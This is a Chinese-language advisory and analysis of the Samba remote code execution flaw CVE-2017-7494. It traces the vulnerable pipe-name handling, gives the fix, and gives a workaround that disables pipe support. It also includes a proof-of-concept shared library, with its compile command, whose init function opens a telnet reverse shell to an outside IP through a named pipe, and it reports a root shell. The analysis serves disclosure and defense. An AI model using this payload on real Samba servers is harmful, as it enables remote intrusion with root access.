5月24 日,Samba官方发布消息,Samba服务器软件存在远程执行代码漏洞。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录,会导致服务器加载并执行指定的库文件。
漏洞描述
Samba服务器软件存在远程执行代码漏洞。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录,会导致服务器加载并执行指定的库文件。
以下Samba版本受到影响:
– 3.5.0- 4.6.4
– 3.5.0- 4.5.10
– 3.5.0- 4.4.14
Samba介绍
Samba是在Linux和Unix系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。
SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。
漏洞分析
根据Samba官方说明了解,漏洞出现在source3/rpc_server/srv_pipe.c
中的is_known_pipename
函数里,由于函数没有正确处理管道名称,导致Samba加载恶意动态库文件,从而执行任意代码。
is_known_pipename
会将请求访问的管道名传入,随后会调用smb_probe_module
函数。
这个函数其实是do_smb_load_module
函数的一个封装。
根据管道名的不同,程序会走两个流程,最终会进入load_module
。
进入load_module
后,会查找samba_init_module
指针并返回。
随后会执行samba_init_module
函数。
流程分析完成后我们自己构造一个so测试一下,so的代码如下:
#include<stdio.h>
int samba_init_module()
{
//感谢CF_HB的姿势
system("mknod backpipe p && telnet 10.65.80.35 8080 0<backpipe | /bin/bash 1>backpipe");
return 0;
}
使用如下命令进行编译
gcc test.c -shared -fPIC -o test.so
mknod backpipe p && telnet 10.65.80.35 8080 0<backpipe | /bin/bash 1>backpipe
在is_known_pipename
下断点
跟进so中,可以看到
反弹回来的shell可以看到,shell的组已经提升到了root
可见,若要利用成功,必须在目标系统上部署恶意so文件,而且要知道这个so文件的绝对路径。
官方修复
在git上看到官方的修复如下,在is_known_pipename
函数中做了判断,只要有/
的一律不再走下面的流程(Linux中的管道名均不含/
),并返回错误。
https://github.com/samba-team/samba/commit/04a3ba4dbcc4be0ffc706ccc0b586d151d360015
临时解决方案
在samba的配置文件中添加nt pipe support = 0
,即关闭pipe支持(依赖pipe的功能受影响)
#======================= Global Settings =====================================
[global]
# workgroup = NT-Domain-Name or Workgroup-Name, eg: MIDEARTH
workgroup = WORKGROUP
# server string is the equivalent of the NT Description field
server string = Samba Server
# fix CVE-2017-7494
nt pipe support = 0
参考
http://www.nsfocus.net/vulndb/36755
http://baike.baidu.com/item/samba
http://bobao.360.cn/learning/detail/3900.html
如果您需要了解更多内容,可以
加入QQ群:570982169
直接询问:010-68438880